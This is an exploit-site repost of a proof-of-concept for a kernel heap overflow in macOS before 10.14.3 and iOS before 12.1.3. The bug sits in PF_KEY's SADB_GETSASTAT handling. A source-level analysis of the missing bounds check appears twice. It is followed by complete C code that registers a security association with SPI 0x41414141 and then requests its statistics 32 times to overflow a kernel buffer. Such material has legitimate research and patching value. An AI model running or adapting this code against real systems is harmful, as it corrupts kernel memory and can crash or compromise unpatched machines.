Exploit macOS < 10.14.3 / iOS < 12.1.3 - Kernel Heap Overflow in PF_KEY due to Lack of Bounds Checking when Retrieving Statistics

Exploiter · 21 Дек 2022

macOS < 10.14.3 / iOS < 12.1.3 - Kernel Heap Overflow in PF_KEY due to Lack of Bounds Checking when Retrieving Statistics

C:

/*
Inspired by Ned Williamsons's fuzzer I took a look at the netkey code.

key_getsastat handles SADB_GETSASTAT messages:

It allocates a buffer based on the number of SAs there currently are:

  bufsize = (ipsec_sav_count + 1) * sizeof(*sa_stats_sav);
    
  KMALLOC_WAIT(sa_stats_sav, __typeof__(sa_stats_sav), bufsize);

It the retrieves the list of SPIs we are querying for, and the length of that list:

  sa_stats_arg = (__typeof__(sa_stats_arg))(void *)mhp->ext[SADB_EXT_SASTAT];

  arg_count = sa_stats_arg->sadb_sastat_list_len;

  // exit early if there are no requested SAs
  if (arg_count == 0) {
    printf("%s: No SAs requested.\n", __FUNCTION__);
    error = ENOENT;
    goto end;
  }
  res_count = 0;

It passes those, and the allocated buffer, to key_getsastatbyspi:

  if (key_getsastatbyspi((struct sastat *)(sa_stats_arg + 1),
                         arg_count,
                         sa_stats_sav,
                         &res_count)) {

The is immediately suspicious because we're passing the sa_stats_sav buffer in, but not its length...

Looking at key_getsastatbyspi:

  static int
  key_getsastatbyspi (struct sastat *stat_arg,
                      u_int32_t      max_stat_arg,
                      struct sastat *stat_res,
                      u_int32_t     *max_stat_res)
  {
    int cur, found = 0;

    if (stat_arg == NULL ||
        stat_res == NULL ||
        max_stat_res == NULL) {
      return -1;
    }

    for (cur = 0; cur < max_stat_arg; cur++) {
      if (key_getsastatbyspi_one(stat_arg[cur].spi,
                                 &stat_res[found]) == 0) {
        found++;
      }
    }
    *max_stat_res = found;

    if (found) {
      return 0;
    }
    return -1;
  }

Indeed, each time a spi match is found we increment found and can go past the end of the stat_res buffer.

Triggering this requires you to load a valid SA with a known SPI (here 0x41414141) then send a SADB_GETSASTAT
containing multiple requests for that same, valid SPI.

Tested on MacOS 10.14.2 (18C54)
*/

// @i41nbeer

#if 0
iOS/MacOS kernel heap overflow in PF_KEY due to lack of bounds checking when retrieving statistics

Inspired by Ned Williamsons's fuzzer I took a look at the netkey code.

key_getsastat handles SADB_GETSASTAT messages:

It allocates a buffer based on the number of SAs there currently are:

  bufsize = (ipsec_sav_count + 1) * sizeof(*sa_stats_sav);
    
  KMALLOC_WAIT(sa_stats_sav, __typeof__(sa_stats_sav), bufsize);

It the retrieves the list of SPIs we are querying for, and the length of that list:

  sa_stats_arg = (__typeof__(sa_stats_arg))(void *)mhp->ext[SADB_EXT_SASTAT];

  arg_count = sa_stats_arg->sadb_sastat_list_len;

  // exit early if there are no requested SAs
  if (arg_count == 0) {
    printf("%s: No SAs requested.\n", __FUNCTION__);
    error = ENOENT;
    goto end;
  }
  res_count = 0;

It passes those, and the allocated buffer, to key_getsastatbyspi:

  if (key_getsastatbyspi((struct sastat *)(sa_stats_arg + 1),
                         arg_count,
                         sa_stats_sav,
                         &res_count)) {

The is immediately suspicious because we're passing the sa_stats_sav buffer in, but not its length...

Looking at key_getsastatbyspi:

  static int
  key_getsastatbyspi (struct sastat *stat_arg,
                      u_int32_t      max_stat_arg,
                      struct sastat *stat_res,
                      u_int32_t     *max_stat_res)
  {
    int cur, found = 0;

    if (stat_arg == NULL ||
        stat_res == NULL ||
        max_stat_res == NULL) {
      return -1;
    }

    for (cur = 0; cur < max_stat_arg; cur++) {
      if (key_getsastatbyspi_one(stat_arg[cur].spi,
                                 &stat_res[found]) == 0) {
        found++;
      }
    }
    *max_stat_res = found;

    if (found) {
      return 0;
    }
    return -1;
  }

Indeed, each time a spi match is found we increment found and can go past the end of the stat_res buffer.

Triggering this requires you to load a valid SA with a known SPI (here 0x41414141) then send a SADB_GETSASTAT
containing multiple requests for that same, valid SPI.

Tested on MacOS 10.14.2 (18C54)
#endif

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>

#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <net/pfkeyv2.h>

#if 0
struct sadb_msg {
  u_int8_t sadb_msg_version;
  u_int8_t sadb_msg_type;
  u_int8_t sadb_msg_errno;
  u_int8_t sadb_msg_satype;
  u_int16_t sadb_msg_len;         // in 8-byte units
  u_int16_t sadb_msg_reserved;
  u_int32_t sadb_msg_seq;
  u_int32_t sadb_msg_pid;
};

// extenstion header

struct sadb_ext {
  u_int16_t sadb_ext_len;        // 8-byte units
  u_int16_t sadb_ext_type;
};

// SADB_EXT_SA

struct sadb_sa {
  u_int16_t sadb_sa_len;
  u_int16_t sadb_sa_exttype;
  u_int32_t sadb_sa_spi;
  u_int8_t sadb_sa_replay;
  u_int8_t sadb_sa_state;
  u_int8_t sadb_sa_auth;
  u_int8_t sadb_sa_encrypt;
  u_int32_t sadb_sa_flags;
};

// SADB_EXT_ADDRESS_SRC/DST
// is this variable sized?

struct sadb_address {
  u_int16_t sadb_address_len;
  u_int16_t sadb_address_exttype;
  u_int8_t sadb_address_proto;
  u_int8_t sadb_address_prefixlen;
  u_int16_t sadb_address_reserved;
};

// SADB_EXT_KEY_AUTH header

struct sadb_key {
  u_int16_t sadb_key_len;       
  u_int16_t sadb_key_exttype;
  u_int16_t sadb_key_bits;      // >> 3 -> bzero
  u_int16_t sadb_key_reserved;
};

// SADB_EXT_SASTAT

struct sadb_sastat {
        u_int16_t            sadb_sastat_len;
        u_int16_t            sadb_sastat_exttype;
        u_int32_t            sadb_sastat_dir;
        u_int32_t            sadb_sastat_reserved;
        u_int32_t            sadb_sastat_list_len;
        /* list of struct sastat comes after */
} __attribute__ ((aligned(8)));

struct sastat {
        u_int32_t            spi;               /* SPI Value, network byte order */
        u_int32_t            created;           /* for lifetime */
        struct sadb_lifetime lft_c;             /* CURRENT lifetime. */
}; // no need to align

#endif


struct my_msg {
  struct sadb_msg hdr;

  // required options
  struct sadb_sa sa;  // SADB_EXT_SA

  struct sadb_address address_src; // SADB_EXT_ADDRESS_SRC
  struct sockaddr_in sockaddr_src; // 0x10 bytes
  struct sadb_address address_dst; // SADB_EXT_ADDRESS_DST
  struct sockaddr_in sockaddr_dst; // 0x10 bytes

  struct sadb_key key;
  char key_material[128/8];
};

#define N_LIST_ENTRIES 32
struct stat_msg {
  struct sadb_msg hdr;
  struct sadb_session_id sid;
  struct sadb_sastat stat;
  struct sastat list[N_LIST_ENTRIES];
};

int main() {
  // get a PF_KEY socket:
  int fd = socket(PF_KEY, SOCK_RAW, PF_KEY_V2);
  if (fd == -1) {
    perror("failed to get PF_KEY socket, got privs?");
    return 0;
  }

  printf("got PF_KEY socket: %d\n", fd);

  struct my_msg* msg = malloc(sizeof(struct my_msg));
  memset(msg, 0, sizeof(struct my_msg));

  msg->hdr.sadb_msg_version = PF_KEY_V2;
  msg->hdr.sadb_msg_type = SADB_ADD;

  msg->hdr.sadb_msg_satype = SADB_SATYPE_AH;
  
  msg->hdr.sadb_msg_len = sizeof(struct my_msg) >> 3;
  msg->hdr.sadb_msg_pid = getpid();

  // SADB_EXT_SA
  msg->sa.sadb_sa_len = sizeof(msg->sa) >> 3;
  msg->sa.sadb_sa_exttype = SADB_EXT_SA;

  // we need to fill in the fields correctly as we need at least one valid key 
  msg->sa.sadb_sa_spi = 0x41414141;

  msg->sa.sadb_sa_auth = SADB_AALG_MD5HMAC; // sav->alg_auth, which alg
  // -> 128 bit key size

  // SADB_EXT_ADDRESS_SRC
  msg->address_src.sadb_address_len = (sizeof(msg->address_src) + sizeof(msg->sockaddr_src)) >> 3;
  msg->address_src.sadb_address_exttype = SADB_EXT_ADDRESS_SRC;

  msg->sockaddr_src.sin_len = 0x10;
  msg->sockaddr_src.sin_family = AF_INET;
  msg->sockaddr_src.sin_port = 4141;
  inet_pton(AF_INET, "10.10.10.10", &msg->sockaddr_src.sin_addr);


  // SADB_EXT_ADDRESS_DST
  msg->address_dst.sadb_address_len = (sizeof(msg->address_dst) + sizeof(msg->sockaddr_dst)) >> 3;
  msg->address_dst.sadb_address_exttype = SADB_EXT_ADDRESS_DST;

  msg->sockaddr_dst.sin_len = 0x10;
  msg->sockaddr_dst.sin_family = AF_INET;
  msg->sockaddr_dst.sin_port = 4242;
  inet_pton(AF_INET, "10.10.10.10", &msg->sockaddr_dst.sin_addr);

  msg->key.sadb_key_exttype = SADB_EXT_KEY_AUTH;
  msg->key.sadb_key_len = (sizeof(struct sadb_key) + sizeof(msg->key_material)) >> 3;
  msg->key.sadb_key_bits = 128;

  size_t amount_to_send = msg->hdr.sadb_msg_len << 3;
  printf("trying to write %zd bytes\n", amount_to_send);
  ssize_t written = write(fd, msg, amount_to_send);
  printf("written: %zd\n", written);


  
  struct stat_msg * smsg = malloc(sizeof(struct stat_msg));
  memset(smsg, 0, sizeof(struct stat_msg));

  smsg->hdr.sadb_msg_version = PF_KEY_V2;
  smsg->hdr.sadb_msg_type = SADB_GETSASTAT;

  smsg->hdr.sadb_msg_satype = SADB_SATYPE_AH;
  
  smsg->hdr.sadb_msg_len = sizeof(struct stat_msg) >> 3;
  smsg->hdr.sadb_msg_pid = getpid();

  // SADB_EXT_SESSION_ID
  smsg->sid.sadb_session_id_len = sizeof(struct sadb_session_id) >> 3;
  smsg->sid.sadb_session_id_exttype = SADB_EXT_SESSION_ID;

  // SADB_EXT_SASTAT
  smsg->stat.sadb_sastat_len = (sizeof(struct sadb_sastat) + sizeof(smsg->list)) >> 3;
  smsg->stat.sadb_sastat_exttype = SADB_EXT_SASTAT;

  smsg->stat.sadb_sastat_list_len = N_LIST_ENTRIES;

  for (int i = 0; i < N_LIST_ENTRIES; i++) {
    smsg->list[i].spi = 0x41414141;
  }


  amount_to_send = smsg->hdr.sadb_msg_len << 3;
  printf("trying to write %zd bytes\n", amount_to_send);
  written = write(fd, smsg, amount_to_send);
  printf("written: %zd\n", written);




  return 0;
}

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Exploit macOS < 10.14.3 / iOS < 12.1.3 - Kernel Heap Overflow in PF_KEY due to Lack of Bounds Checking when Retrieving Statistics

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